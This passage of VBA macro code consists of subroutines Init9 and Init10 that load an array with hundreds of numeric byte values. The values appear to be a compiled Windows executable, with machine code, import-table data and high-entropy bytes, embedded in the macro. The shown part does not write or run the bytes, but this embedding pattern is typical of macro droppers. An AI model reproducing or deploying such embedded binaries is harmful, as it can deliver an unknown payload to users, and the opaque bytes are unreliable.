    a(270) = Array(246, 117, 13, 255, 117, 8, 232, 228, 142, 255, 255, 89, 51, 192, 235, 77, 87, 235, 48, 133, 246, 117, 1, 70, 86, 255, 117, 8, 106, 0, 255, 53, 20, 252, 64, 0, 255, 21, 60, 176, 64, 0, 139, 248, 133, 255, 117, 94, 57, 5, 124, 2, 65, 0, 116, 64, 86, 232, 195, 160, 255, 255, 89, 133, 192, 116, 29, 131, 254, 224, 118, 203, 86, 232, 179, 160, 255, 255, 89, 232, 62, 155, 255, 255, 199, 0, 12, 0, 0, 0, 51, 192, 95, 94, 93, 195, 232, 45, 155, 255, 255, 139, 240, 255, 21, 16, 176, 64, 0, 80, 232, 221, 154, 255, 255, 89, 137, 6, 235, 226, 232, 21, 155, 255, 255, 139, 240, 255)
End Sub

Private Sub Init9()
    a(271) = Array(21, 16, 176, 64, 0, 80, 232, 197, 154, 255, 255, 89, 137, 6, 139, 199, 235, 202, 139, 255, 85, 139, 236, 131, 236, 24, 83, 86, 87, 51, 219, 106, 1, 83, 83, 255, 117, 8, 137, 93, 240, 137, 93, 244, 232, 223, 233, 255, 255, 137, 69, 232, 35, 194, 131, 196, 16, 137, 85, 236, 131, 248, 255, 116, 89, 106, 2, 83, 83, 255, 117, 8, 232, 195, 233, 255, 255, 139, 200, 35, 202, 131, 196, 16, 131, 249, 255, 116, 65, 139, 117, 12, 139, 125, 16, 43, 240, 27, 250, 15, 136, 198, 0, 0, 0, 127, 8, 59, 243, 15, 134, 188, 0, 0, 0, 187, 0, 16, 0, 0, 83, 106, 8, 255, 21, 52, 176, 64)
    a(272) = Array(0, 80, 255, 21, 100, 176, 64, 0, 137, 69, 252, 133, 192, 117, 23, 232, 126, 154, 255, 255, 199, 0, 12, 0, 0, 0, 232, 115, 154, 255, 255, 139, 0, 95, 94, 91, 201, 195, 104, 0, 128, 0, 0, 255, 117, 8, 232, 21, 1, 0, 0, 89, 89, 137, 69, 248, 133, 255, 124, 10, 127, 4, 59, 243, 114, 4, 139, 195, 235, 2, 139, 198, 80, 255, 117, 252, 255, 117, 8, 232, 170, 180, 255, 255, 131, 196, 12, 131, 248, 255, 116, 54, 153, 43, 240, 27, 250, 120, 6, 127, 211, 133, 246, 117, 207, 139, 117, 240, 255, 117, 248, 255, 117, 8, 232, 209, 0, 0, 0, 89, 89, 255, 117, 252, 106, 0, 255, 21)
    a(273) = Array(52, 176, 64, 0, 80, 255, 21, 96, 176, 64, 0, 51, 219, 233, 134, 0, 0, 0, 232, 14, 154, 255, 255, 131, 56, 5, 117, 11, 232, 241, 153, 255, 255, 199, 0, 13, 0, 0, 0, 131, 206, 255, 137, 117, 244, 235, 189, 59, 251, 127, 113, 124, 4, 59, 243, 115, 107, 83, 255, 117, 16, 255, 117, 12, 255, 117, 8, 232, 200, 232, 255, 255, 35, 194, 131, 196, 16, 131, 248, 255, 15, 132, 68, 255, 255, 255, 255, 117, 8, 232, 40, 235, 255, 255, 89, 80, 255, 21, 56, 176, 64, 0, 247, 216, 27, 192, 247, 216, 72, 153, 137, 69, 240, 35, 194, 137, 85, 244, 131, 248, 255, 117, 41, 232, 146, 153, 255, 255)
    a(274) = Array(199, 0, 13, 0, 0, 0, 232, 154, 153, 255, 255, 139, 240, 255, 21, 16, 176, 64, 0, 137, 6, 139, 117, 240, 35, 117, 244, 131, 254, 255, 15, 132, 246, 254, 255, 255, 83, 255, 117, 236, 255, 117, 232, 255, 117, 8, 232, 93, 232, 255, 255, 35, 194, 131, 196, 16, 131, 248, 255, 15, 132, 217, 254, 255, 255, 51, 192, 233, 217, 254, 255, 255, 139, 255, 85, 139, 236, 83, 139, 93, 12, 86, 139, 117, 8, 139, 198, 193, 248, 5, 141, 20, 133, 128, 6, 65, 0, 139, 10, 131, 230, 31, 193, 230, 6, 3, 206, 138, 65, 36, 2, 192, 87, 15, 182, 121, 4, 15, 190, 192, 129, 231, 128, 0, 0, 0, 209, 248)
    a(275) = Array(129, 251, 0, 64, 0, 0, 116, 80, 129, 251, 0, 128, 0, 0, 116, 66, 129, 251, 0, 0, 1, 0, 116, 38, 129, 251, 0, 0, 2, 0, 116, 30, 129, 251, 0, 0, 4, 0, 117, 61, 128, 73, 4, 128, 139, 10, 141, 76, 49, 36, 138, 17, 128, 226, 129, 128, 202, 1, 136, 17, 235, 39, 128, 73, 4, 128, 139, 10, 141, 76, 49, 36, 138, 17, 128, 226, 130, 128, 202, 2, 235, 232, 128, 97, 4, 127, 235, 13, 128, 73, 4, 128, 139, 10, 141, 76, 49, 36, 128, 33, 128, 133, 255, 95, 94, 91, 117, 7, 184, 0, 128, 0, 0, 93, 195, 247, 216, 27, 192, 37, 0, 192, 0, 0, 5, 0, 64, 0)
    a(276) = Array(0, 93, 195, 139, 255, 85, 139, 236, 139, 69, 8, 133, 192, 117, 21, 232, 126, 152, 255, 255, 199, 0, 22, 0, 0, 0, 232, 53, 165, 255, 255, 106, 22, 88, 93, 195, 139, 13, 92, 6, 65, 0, 137, 8, 51, 192, 93, 195, 139, 255, 85, 139, 236, 184, 255, 255, 0, 0, 131, 236, 20, 102, 57, 69, 8, 15, 132, 135, 0, 0, 0, 83, 86, 255, 117, 12, 141, 77, 236, 232, 118, 227, 255, 255, 139, 117, 236, 139, 78, 20, 51, 219, 59, 203, 117, 21, 139, 69, 8, 141, 72, 191, 102, 131, 249, 25, 119, 4, 102, 131, 192, 32, 15, 183, 192, 235, 75, 184, 0, 1, 0, 0, 106, 1, 102, 57, 69, 8)
    a(277) = Array(115, 30, 255, 117, 8, 232, 124, 0, 0, 0, 89, 133, 192, 15, 183, 69, 8, 89, 116, 44, 139, 142, 204, 0, 0, 0, 15, 182, 4, 1, 235, 32, 141, 85, 252, 82, 106, 1, 141, 85, 8, 82, 80, 81, 232, 11, 9, 0, 0, 131, 196, 24, 133, 192, 15, 183, 69, 8, 116, 4, 15, 183, 69, 252, 56, 93, 248, 116, 7, 139, 77, 244, 131, 97, 112, 253, 94, 91, 201, 195, 51, 192, 80, 80, 106, 3, 80, 106, 3, 104, 0, 0, 0, 64, 104, 72, 196, 64, 0, 255, 21, 28, 177, 64, 0, 163, 28, 238, 64, 0, 195, 161, 28, 238, 64, 0, 131, 248, 255, 116, 12, 131, 248, 254, 116, 7, 80, 255)
    a(278) = Array(21, 24, 176, 64, 0, 195, 139, 255, 85, 139, 236, 81, 184, 255, 255, 0, 0, 102, 57, 69, 8, 117, 4, 51, 192, 201, 195, 184, 0, 1, 0, 0, 102, 57, 69, 8, 115, 16, 15, 183, 69, 8, 139, 13, 128, 238, 64, 0, 15, 183, 4, 65, 235, 29, 141, 69, 252, 80, 106, 1, 141, 69, 8, 80, 106, 1, 255, 21, 48, 176, 64, 0, 133, 192, 117, 3, 33, 69, 252, 15, 183, 69, 252, 15, 183, 77, 12, 35, 193, 201, 195, 139, 255, 85, 139, 236, 86, 139, 117, 8, 133, 246, 15, 132, 99, 3, 0, 0, 255, 118, 4, 232, 123, 138, 255, 255, 255, 118, 8, 232, 115, 138, 255, 255, 255, 118, 12, 232)
    a(279) = Array(107, 138, 255, 255, 255, 118, 16, 232, 99, 138, 255, 255, 255, 118, 20, 232, 91, 138, 255, 255, 255, 118, 24, 232, 83, 138, 255, 255, 255, 54, 232, 76, 138, 255, 255, 255, 118, 32, 232, 68, 138, 255, 255, 255, 118, 36, 232, 60, 138, 255, 255, 255, 118, 40, 232, 52, 138, 255, 255, 255, 118, 44, 232, 44, 138, 255, 255, 255, 118, 48, 232, 36, 138, 255, 255, 255, 118, 52, 232, 28, 138, 255, 255, 255, 118, 28, 232, 20, 138, 255, 255, 255, 118, 56, 232, 12, 138, 255, 255, 255, 118, 60, 232, 4, 138, 255, 255, 131, 196, 64, 255, 118, 64, 232, 249, 137, 255, 255, 255, 118, 68, 232, 241, 137, 255, 255, 255, 118)
    a(280) = Array(72, 232, 233, 137, 255, 255, 255, 118, 76, 232, 225, 137, 255, 255, 255, 118, 80, 232, 217, 137, 255, 255, 255, 118, 84, 232, 209, 137, 255, 255, 255, 118, 88, 232, 201, 137, 255, 255, 255, 118, 92, 232, 193, 137, 255, 255, 255, 118, 96, 232, 185, 137, 255, 255, 255, 118, 100, 232, 177, 137, 255, 255, 255, 118, 104, 232, 169, 137, 255, 255, 255, 118, 108, 232, 161, 137, 255, 255, 255, 118, 112, 232, 153, 137, 255, 255, 255, 118, 116, 232, 145, 137, 255, 255, 255, 118, 120, 232, 137, 137, 255, 255, 255, 118, 124, 232, 129, 137, 255, 255, 131, 196, 64, 255, 182, 128, 0, 0, 0, 232, 115, 137, 255, 255, 255, 182, 132, 0)
    a(281) = Array(0, 0, 232, 104, 137, 255, 255, 255, 182, 136, 0, 0, 0, 232, 93, 137, 255, 255, 255, 182, 140, 0, 0, 0, 232, 82, 137, 255, 255, 255, 182, 144, 0, 0, 0, 232, 71, 137, 255, 255, 255, 182, 148, 0, 0, 0, 232, 60, 137, 255, 255, 255, 182, 152, 0, 0, 0, 232, 49, 137, 255, 255, 255, 182, 156, 0, 0, 0, 232, 38, 137, 255, 255, 255, 182, 160, 0, 0, 0, 232, 27, 137, 255, 255, 255, 182, 164, 0, 0, 0, 232, 16, 137, 255, 255, 255, 182, 168, 0, 0, 0, 232, 5, 137, 255, 255, 255, 182, 188, 0, 0, 0, 232, 250, 136, 255, 255, 255, 182, 192, 0, 0, 0, 232, 239, 136, 255, 255)
    a(282) = Array(255, 182, 196, 0, 0, 0, 232, 228, 136, 255, 255, 255, 182, 200, 0, 0, 0, 232, 217, 136, 255, 255, 255, 182, 204, 0, 0, 0, 232, 206, 136, 255, 255, 131, 196, 64, 255, 182, 208, 0, 0, 0, 232, 192, 136, 255, 255, 255, 182, 184, 0, 0, 0, 232, 181, 136, 255, 255, 255, 182, 216, 0, 0, 0, 232, 170, 136, 255, 255, 255, 182, 220, 0, 0, 0, 232, 159, 136, 255, 255, 255, 182, 224, 0, 0, 0, 232, 148, 136, 255, 255, 255, 182, 228, 0, 0, 0, 232, 137, 136, 255, 255, 255, 182, 232, 0, 0, 0, 232, 126, 136, 255, 255, 255, 182, 236, 0, 0, 0, 232, 115, 136, 255, 255, 255, 182, 212, 0)
    a(283) = Array(0, 0, 232, 104, 136, 255, 255, 255, 182, 240, 0, 0, 0, 232, 93, 136, 255, 255, 255, 182, 244, 0, 0, 0, 232, 82, 136, 255, 255, 255, 182, 248, 0, 0, 0, 232, 71, 136, 255, 255, 255, 182, 252, 0, 0, 0, 232, 60, 136, 255, 255, 255, 182, 0, 1, 0, 0, 232, 49, 136, 255, 255, 255, 182, 4, 1, 0, 0, 232, 38, 136, 255, 255, 255, 182, 8, 1, 0, 0, 232, 27, 136, 255, 255, 131, 196, 64, 255, 182, 12, 1, 0, 0, 232, 13, 136, 255, 255, 255, 182, 16, 1, 0, 0, 232, 2, 136, 255, 255, 255, 182, 20, 1, 0, 0, 232, 247, 135, 255, 255, 255, 182, 24, 1, 0, 0, 232, 236)
    a(284) = Array(135, 255, 255, 255, 182, 28, 1, 0, 0, 232, 225, 135, 255, 255, 255, 182, 32, 1, 0, 0, 232, 214, 135, 255, 255, 255, 182, 36, 1, 0, 0, 232, 203, 135, 255, 255, 255, 182, 40, 1, 0, 0, 232, 192, 135, 255, 255, 255, 182, 44, 1, 0, 0, 232, 181, 135, 255, 255, 255, 182, 48, 1, 0, 0, 232, 170, 135, 255, 255, 255, 182, 52, 1, 0, 0, 232, 159, 135, 255, 255, 255, 182, 56, 1, 0, 0, 232, 148, 135, 255, 255, 255, 182, 60, 1, 0, 0, 232, 137, 135, 255, 255, 255, 182, 64, 1, 0, 0, 232, 126, 135, 255, 255, 255, 182, 68, 1, 0, 0, 232, 115, 135, 255, 255, 255, 182, 72, 1)
    a(285) = Array(0, 0, 232, 104, 135, 255, 255, 131, 196, 64, 255, 182, 76, 1, 0, 0, 232, 90, 135, 255, 255, 255, 182, 80, 1, 0, 0, 232, 79, 135, 255, 255, 255, 182, 84, 1, 0, 0, 232, 68, 135, 255, 255, 255, 182, 88, 1, 0, 0, 232, 57, 135, 255, 255, 255, 182, 92, 1, 0, 0, 232, 46, 135, 255, 255, 255, 182, 96, 1, 0, 0, 232, 35, 135, 255, 255, 131, 196, 24, 94, 93, 195, 139, 255, 85, 139, 236, 86, 139, 117, 8, 133, 246, 116, 89, 139, 6, 59, 5, 40, 238, 64, 0, 116, 7, 80, 232, 0, 135, 255, 255, 89, 139, 70, 4, 59, 5, 44, 238, 64, 0, 116, 7, 80, 232, 238, 134, 255)
    a(286) = Array(255, 89, 139, 70, 8, 59, 5, 48, 238, 64, 0, 116, 7, 80, 232, 220, 134, 255, 255, 89, 139, 70, 48, 59, 5, 88, 238, 64, 0, 116, 7, 80, 232, 202, 134, 255, 255, 89, 139, 118, 52, 59, 53, 92, 238, 64, 0, 116, 7, 86, 232, 184, 134, 255, 255, 89, 94, 93, 195, 139, 255, 85, 139, 236, 86, 139, 117, 8, 133, 246, 15, 132, 234, 0, 0, 0, 139, 70, 12, 59, 5, 52, 238, 64, 0, 116, 7, 80, 232, 146, 134, 255, 255, 89, 139, 70, 16, 59, 5, 56, 238, 64, 0, 116, 7, 80, 232, 128, 134, 255, 255, 89, 139, 70, 20, 59, 5, 60, 238, 64, 0, 116, 7, 80, 232, 110, 134, 255)
    a(287) = Array(255, 89, 139, 70, 24, 59, 5, 64, 238, 64, 0, 116, 7, 80, 232, 92, 134, 255, 255, 89, 139, 70, 28, 59, 5, 68, 238, 64, 0, 116, 7, 80, 232, 74, 134, 255, 255, 89, 139, 70, 32, 59, 5, 72, 238, 64, 0, 116, 7, 80, 232, 56, 134, 255, 255, 89, 139, 70, 36, 59, 5, 76, 238, 64, 0, 116, 7, 80, 232, 38, 134, 255, 255, 89, 139, 70, 56, 59, 5, 96, 238, 64, 0, 116, 7, 80, 232, 20, 134, 255, 255, 89, 139, 70, 60, 59, 5, 100, 238, 64, 0, 116, 7, 80, 232, 2, 134, 255, 255, 89, 139, 70, 64, 59, 5, 104, 238, 64, 0, 116, 7, 80, 232, 240, 133, 255, 255, 89)
    a(288) = Array(139, 70, 68, 59, 5, 108, 238, 64, 0, 116, 7, 80, 232, 222, 133, 255, 255, 89, 139, 70, 72, 59, 5, 112, 238, 64, 0, 116, 7, 80, 232, 204, 133, 255, 255, 89, 139, 118, 76, 59, 53, 116, 238, 64, 0, 116, 7, 86, 232, 186, 133, 255, 255, 89, 94, 93, 195, 139, 255, 85, 139, 236, 131, 236, 16, 161, 4, 224, 64, 0, 51, 197, 137, 69, 252, 139, 85, 24, 83, 51, 219, 86, 87, 59, 211, 126, 31, 139, 69, 20, 139, 202, 73, 56, 24, 116, 8, 64, 59, 203, 117, 246, 131, 201, 255, 139, 194, 43, 193, 72, 59, 194, 125, 1, 64, 137, 69, 24, 137, 93, 248, 57, 93, 36, 117, 11, 139, 69)
    a(289) = Array(8, 139, 0, 139, 64, 4, 137, 69, 36, 139, 53, 188, 176, 64, 0, 51, 192, 57, 93, 40, 83, 83, 255, 117, 24, 15, 149, 192, 255, 117, 20, 141, 4, 197, 1, 0, 0, 0, 80, 255, 117, 36, 255, 214, 139, 248, 137, 125, 240, 59, 251, 117, 7, 51, 192, 233, 82, 1, 0, 0, 126, 67, 106, 224, 51, 210, 88, 247, 247, 131, 248, 2, 114, 55, 141, 68, 63, 8, 61, 0, 4, 0, 0, 119, 19, 232, 182, 2, 0, 0, 139, 196, 59, 195, 116, 28, 199, 0, 204, 204, 0, 0, 235, 17, 80, 232, 59, 133, 255, 255, 89, 59, 195, 116, 9, 199, 0, 221, 221, 0, 0, 131, 192, 8, 137, 69, 244, 235)
    a(290) = Array(3, 137, 93, 244, 57, 93, 244, 116, 172, 87, 255, 117, 244, 255, 117, 24, 255, 117, 20, 106, 1, 255, 117, 36, 255, 214, 133, 192, 15, 132, 224, 0, 0, 0, 139, 53, 44, 176, 64, 0, 83, 83, 87, 255, 117, 244, 255, 117, 16, 255, 117, 12, 255, 214, 137, 69, 248, 59, 195, 15, 132, 193, 0, 0, 0, 185, 0, 4, 0, 0, 133, 77, 16, 116, 41, 139, 69, 32, 59, 195, 15, 132, 172, 0, 0, 0, 57, 69, 248, 15, 143, 163, 0, 0, 0, 80, 255, 117, 28, 87, 255, 117, 244, 255, 117, 16, 255, 117, 12, 255, 214, 233, 142, 0, 0, 0, 139, 125, 248, 59, 251, 126, 66, 106, 224, 51, 210, 88)
    a(291) = Array(247, 247, 131, 248, 2, 114, 54, 141, 68, 63, 8, 59, 193, 119, 22, 232, 252, 1, 0, 0, 139, 252, 59, 251, 116, 104, 199, 7, 204, 204, 0, 0, 131, 199, 8, 235, 26, 80, 232, 126, 132, 255, 255, 89, 59, 195, 116, 9, 199, 0, 221, 221, 0, 0, 131, 192, 8, 139, 248, 235, 2, 51, 255, 59, 251, 116, 63, 255, 117, 248, 87, 255, 117, 240, 255, 117, 244, 255, 117, 16, 255, 117, 12, 255, 214, 133, 192, 116, 34, 83, 83, 57, 93, 32, 117, 4, 83, 83, 235, 6, 255, 117, 32, 255, 117, 28, 255, 117, 248, 87, 83, 255, 117, 36, 255, 21, 196, 176, 64, 0, 137, 69, 248, 87, 232, 6, 244, 255)
    a(292) = Array(255, 89, 255, 117, 244, 232, 253, 243, 255, 255, 139, 69, 248, 89, 141, 101, 228, 95, 94, 91, 139, 77, 252, 51, 205, 232, 194, 131, 255, 255, 201, 195, 139, 255, 85, 139, 236, 131, 236, 16, 255, 117, 8, 141, 77, 240, 232, 151, 219, 255, 255, 255, 117, 40, 141, 69, 240, 255, 117, 36, 255, 117, 32, 255, 117, 28, 255, 117, 24, 255, 117, 20, 255, 117, 16, 255, 117, 12, 80, 232, 229, 253, 255, 255, 131, 196, 36, 128, 125, 252, 0, 116, 7, 139, 77, 248, 131, 97, 112, 253, 201, 195, 139, 255, 85, 139, 236, 81, 81, 161, 4, 224, 64, 0, 51, 197, 137, 69, 252, 83, 51, 219, 86, 87, 137, 93, 248, 57)
    a(293) = Array(93, 28, 117, 11, 139, 69, 8, 139, 0, 139, 64, 4, 137, 69, 28, 139, 53, 188, 176, 64, 0, 51, 192, 57, 93, 32, 83, 83, 255, 117, 20, 15, 149, 192, 255, 117, 16, 141, 4, 197, 1, 0, 0, 0, 80, 255, 117, 28, 255, 214, 139, 248, 59, 251, 117, 4, 51, 192, 235, 127, 126, 60, 129, 255, 240, 255, 255, 127, 119, 52, 141, 68, 63, 8, 61, 0, 4, 0, 0, 119, 19, 232, 186, 0, 0, 0, 139, 196, 59, 195, 116, 28, 199, 0, 204, 204, 0, 0, 235, 17, 80, 232, 63, 131, 255, 255, 89, 59, 195, 116, 9, 199, 0, 221, 221, 0, 0, 131, 192, 8, 139, 216, 133, 219, 116, 186, 141, 4)
    a(294) = Array(63, 80, 106, 0, 83, 232, 22, 168, 255, 255, 131, 196, 12, 87, 83, 255, 117, 20, 255, 117, 16, 106, 1, 255, 117, 28, 255, 214, 133, 192, 116, 17, 255, 117, 24, 80, 83, 255, 117, 12, 255, 21, 48, 176, 64, 0, 137, 69, 248, 83, 232, 208, 242, 255, 255, 139, 69, 248, 89, 141, 101, 236, 95, 94, 91, 139, 77, 252, 51, 205, 232, 149, 130, 255, 255, 201, 195, 139, 255, 85, 139, 236, 131, 236, 16, 255, 117, 8, 141, 77, 240, 232, 106, 218, 255, 255, 255, 117, 36, 141, 69, 240, 255, 117, 28, 255, 117, 24, 255, 117, 20, 255, 117, 16, 255, 117, 12, 80, 232, 235, 254, 255, 255, 131, 196, 28, 128, 125)
    a(295) = Array(252, 0, 116, 7, 139, 77, 248, 131, 97, 112, 253, 201, 195, 204, 204, 204, 81, 141, 76, 36, 8, 43, 200, 131, 225, 15, 3, 193, 27, 201, 11, 193, 89, 233, 10, 230, 255, 255, 81, 141, 76, 36, 8, 43, 200, 131, 225, 7, 3, 193, 27, 201, 11, 193, 89, 233, 244, 229, 255, 255, 139, 255, 85, 139, 236, 139, 69, 20, 133, 192, 126, 11, 80, 255, 117, 16, 232, 63, 1, 0, 0, 89, 89, 255, 117, 28, 255, 117, 24, 80, 255, 117, 16, 255, 117, 12, 255, 117, 8, 255, 21, 44, 176, 64, 0, 93, 195, 204, 204, 204, 204, 204, 85, 139, 236, 86, 51, 192, 80, 80, 80, 80, 80, 80, 80, 80, 139, 85)
    a(296) = Array(12, 141, 73, 0, 138, 2, 10, 192, 116, 9, 131, 194, 1, 15, 171, 4, 36, 235, 241, 139, 117, 8, 131, 201, 255, 141, 73, 0, 131, 193, 1, 138, 6, 10, 192, 116, 9, 131, 198, 1, 15, 163, 4, 36, 115, 238, 139, 193, 131, 196, 32, 94, 201, 195, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 139, 84, 36, 4, 139, 76, 36, 8, 247, 194, 3, 0, 0, 0, 117, 60, 139, 2, 58, 1, 117, 46, 10, 192, 116, 38, 58, 97, 1, 117, 37, 10, 228, 116, 29, 193, 232, 16, 58, 65, 2, 117, 25, 10, 192, 116, 17, 58, 97, 3, 117, 16, 131, 193, 4, 131, 194, 4, 10, 228, 117, 210, 139, 255)
    a(297) = Array(51, 192, 195, 144, 27, 192, 209, 224, 131, 192, 1, 195, 247, 194, 1, 0, 0, 0, 116, 24, 138, 2, 131, 194, 1, 58, 1, 117, 231, 131, 193, 1, 10, 192, 116, 220, 247, 194, 2, 0, 0, 0, 116, 164, 102, 139, 2, 131, 194, 2, 58, 1, 117, 206, 10, 192, 116, 198, 58, 97, 1, 117, 197, 10, 228, 116, 189, 131, 193, 2, 235, 136, 204, 204, 204, 204, 204, 204, 204, 204, 85, 139, 236, 86, 51, 192, 80, 80, 80, 80, 80, 80, 80, 80, 139, 85, 12, 141, 73, 0, 138, 2, 10, 192, 116, 9, 131, 194, 1, 15, 171, 4, 36, 235, 241, 139, 117, 8, 139, 255, 138, 6, 10, 192, 116, 12, 131, 198)
    a(298) = Array(1, 15, 163, 4, 36, 115, 241, 141, 70, 255, 131, 196, 32, 94, 201, 195, 139, 255, 85, 139, 236, 51, 192, 57, 69, 12, 118, 18, 139, 77, 8, 102, 131, 57, 0, 116, 9, 64, 131, 193, 2, 59, 69, 12, 114, 241, 93, 195, 85, 139, 236, 87, 86, 83, 139, 77, 16, 11, 201, 116, 77, 139, 117, 8, 139, 125, 12, 183, 65, 179, 90, 182, 32, 141, 73, 0, 138, 38, 10, 228, 138, 7, 116, 39, 10, 192, 116, 35, 131, 198, 1, 131, 199, 1, 58, 231, 114, 6, 58, 227, 119, 2, 2, 230, 58, 199, 114, 6, 58, 195, 119, 2, 2, 198, 58, 224, 117, 11, 131, 233, 1, 117, 209, 51, 201, 58, 224, 116)
    a(299) = Array(9, 185, 255, 255, 255, 255, 114, 2, 247, 217, 139, 193, 91, 94, 95, 201, 195, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 86, 139, 68, 36, 20, 11, 192, 117, 40, 139, 76, 36, 16, 139, 68, 36, 12, 51, 210, 247, 241, 139, 216, 139, 68, 36, 8, 247, 241, 139, 240, 139, 195, 247, 100, 36, 16, 139, 200, 139, 198, 247, 100, 36, 16, 3, 209, 235, 71, 139, 200, 139, 92, 36, 16, 139, 84, 36, 12, 139, 68, 36, 8, 209, 233, 209, 219, 209, 234, 209, 216, 11, 201, 117, 244, 247, 243, 139, 240, 247, 100, 36, 20, 139, 200, 139, 68, 36, 16, 247, 230, 3, 209, 114, 14, 59)
    a(300) = Array(84, 36, 12, 119, 8, 114, 15, 59, 68, 36, 8, 118, 9, 78, 43, 68, 36, 16, 27, 84, 36, 20, 51, 219, 43, 68, 36, 8, 27, 84, 36, 12, 247, 218, 247, 216, 131, 218, 0, 139, 202, 139, 211, 139, 217, 139, 200, 139, 198, 94, 194, 16, 0, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 139, 68, 36, 8, 139, 76, 36, 16, 11, 200, 139, 76, 36, 12, 117, 9, 139, 68, 36, 4, 247, 225, 194, 16, 0, 83, 247, 225, 139, 216, 139, 68, 36, 8, 247, 100, 36, 20, 3, 216, 139, 68, 36, 8, 247, 225, 3, 211, 91, 194, 16, 0, 255, 37, 184, 176, 64, 0, 0, 0, 0, 0, 0, 0)
End Sub

Private Sub Init10()
    a(301) = Array(10, 212, 0, 0, 0, 0, 0, 0, 188, 212, 0, 0, 0, 0, 0, 0, 154, 211, 0, 0, 170, 211, 0, 0, 186, 211, 0, 0, 200, 211, 0, 0, 214, 211, 0, 0, 132, 211, 0, 0, 116, 211, 0, 0, 66, 217, 0, 0, 48, 217, 0, 0, 30, 217, 0, 0, 14, 217, 0, 0, 0, 217, 0, 0, 244, 216, 0, 0, 226, 216, 0, 0, 214, 216, 0, 0, 204, 216, 0, 0, 192, 216, 0, 0, 172, 216, 0, 0, 98, 211, 0, 0, 72, 211, 0, 0, 224, 212, 0, 0, 236, 212, 0, 0, 248, 212, 0, 0, 10, 213, 0, 0, 32, 213, 0, 0, 50, 213, 0, 0, 70, 213, 0, 0, 90, 213, 0, 0)
    a(302) = Array(118, 213, 0, 0, 148, 213, 0, 0, 168, 213, 0, 0, 182, 213, 0, 0, 200, 213, 0, 0, 220, 213, 0, 0, 234, 213, 0, 0, 250, 213, 0, 0, 6, 214, 0, 0, 22, 214, 0, 0, 44, 214, 0, 0, 60, 214, 0, 0, 84, 214, 0, 0, 108, 214, 0, 0, 148, 214, 0, 0, 160, 214, 0, 0, 182, 214, 0, 0, 194, 214, 0, 0, 216, 214, 0, 0, 232, 214, 0, 0, 250, 214, 0, 0, 12, 215, 0, 0, 26, 215, 0, 0, 50, 215, 0, 0, 68, 215, 0, 0, 94, 215, 0, 0, 120, 215, 0, 0, 132, 215, 0, 0, 146, 215, 0, 0, 160, 215, 0, 0, 170, 215, 0, 0, 194, 215, 0, 0)
    a(303) = Array(210, 215, 0, 0, 232, 215, 0, 0, 0, 216, 0, 0, 26, 216, 0, 0, 48, 216, 0, 0, 74, 216, 0, 0, 90, 216, 0, 0, 98, 216, 0, 0, 112, 216, 0, 0, 128, 216, 0, 0, 156, 216, 0, 0, 0, 0, 0, 0, 2, 0, 0, 128, 8, 0, 0, 128, 6, 0, 0, 128, 0, 0, 0, 0, 120, 212, 0, 0, 0, 0, 0, 0, 242, 211, 0, 0, 0, 0, 0, 0, 60, 212, 0, 0, 40, 212, 0, 0, 78, 212, 0, 0, 0, 0, 0, 0, 154, 212, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 175, 51, 64, 0, 190, 105, 64, 0, 8, 131, 64, 0)
    a(304) = Array(54, 145, 64, 0, 178, 90, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 111, 150, 64, 0, 96, 52, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11, 1, 0, 0, 0, 0, 0, 0, 192, 0, 0, 0, 0, 0, 0, 70, 241, 185, 76, 227, 247, 199, 76, 66, 190, 41, 2, 125, 204, 9, 54, 58, 102, 74, 24, 121, 100, 134, 63, 66, 151, 241, 99, 115, 86, 165, 216, 18, 199, 164, 171, 47, 169, 77, 19, 64, 150, 151, 32, 204, 63, 212, 15, 133, 98, 119, 157, 131, 33, 81, 9, 64, 146, 52, 79, 13, 25, 57, 79, 4, 143, 122, 236, 234, 160, 39, 220, 77)
    a(305) = Array(134, 117, 20, 114, 106, 1, 163, 138, 81, 147, 76, 62, 102, 217, 139, 75, 187, 135, 206, 186, 104, 187, 1, 7, 104, 128, 3, 57, 70, 43, 253, 74, 134, 98, 123, 182, 248, 104, 210, 33, 107, 130, 239, 180, 195, 99, 228, 70, 165, 4, 239, 105, 228, 247, 234, 77, 251, 88, 55, 101, 154, 123, 30, 79, 164, 113, 190, 235, 142, 155, 131, 78, 75, 97, 103, 106, 40, 104, 236, 79, 170, 84, 109, 82, 232, 241, 242, 219, 32, 243, 134, 156, 227, 222, 209, 77, 185, 114, 163, 3, 242, 107, 6, 30, 21, 24, 148, 9, 137, 234, 91, 75, 137, 224, 42, 119, 56, 1, 250, 195, 176, 210, 55, 213, 179, 159, 52, 77)
    a(306) = Array(151, 57, 31, 245, 206, 123, 30, 243, 56, 222, 218, 114, 228, 250, 62, 75, 186, 244, 93, 0, 154, 240, 43, 28, 27, 167, 77, 117, 133, 67, 117, 68, 157, 217, 89, 130, 148, 250, 54, 65, 103, 1, 91, 212, 83, 150, 239, 78, 185, 79, 7, 50, 202, 122, 242, 81, 224, 71, 87, 180, 167, 235, 118, 66, 159, 41, 133, 197, 187, 48, 0, 6, 216, 92, 108, 18, 136, 178, 213, 65, 141, 191, 228, 145, 68, 106, 220, 92, 152, 252, 56, 80, 255, 130, 109, 67, 135, 40, 165, 18, 165, 124, 157, 193, 241, 94, 196, 151, 2, 107, 26, 74, 156, 14, 30, 191, 186, 21, 0, 172, 163, 37, 208, 119, 250, 144, 170, 67)
    a(307) = Array(181, 46, 205, 165, 73, 155, 148, 106, 218, 53, 156, 42, 87, 211, 244, 65, 187, 193, 32, 122, 193, 177, 243, 203, 58, 236, 143, 76, 24, 194, 12, 78, 178, 61, 98, 144, 36, 219, 145, 162, 151, 73, 229, 186, 177, 72, 190, 76, 153, 101, 214, 190, 38, 62, 190, 164, 77, 98, 61, 76, 107, 253, 163, 73, 185, 183, 9, 203, 60, 211, 240, 71, 104, 158, 94, 80, 137, 175, 184, 70, 163, 15, 86, 22, 42, 131, 213, 55, 82, 210, 47, 109, 197, 117, 102, 79, 144, 186, 42, 125, 140, 195, 3, 159, 100, 44, 246, 16, 22, 126, 20, 67, 160, 194, 12, 54, 131, 249, 157, 64, 129, 80, 223, 133, 36, 27, 50, 79)
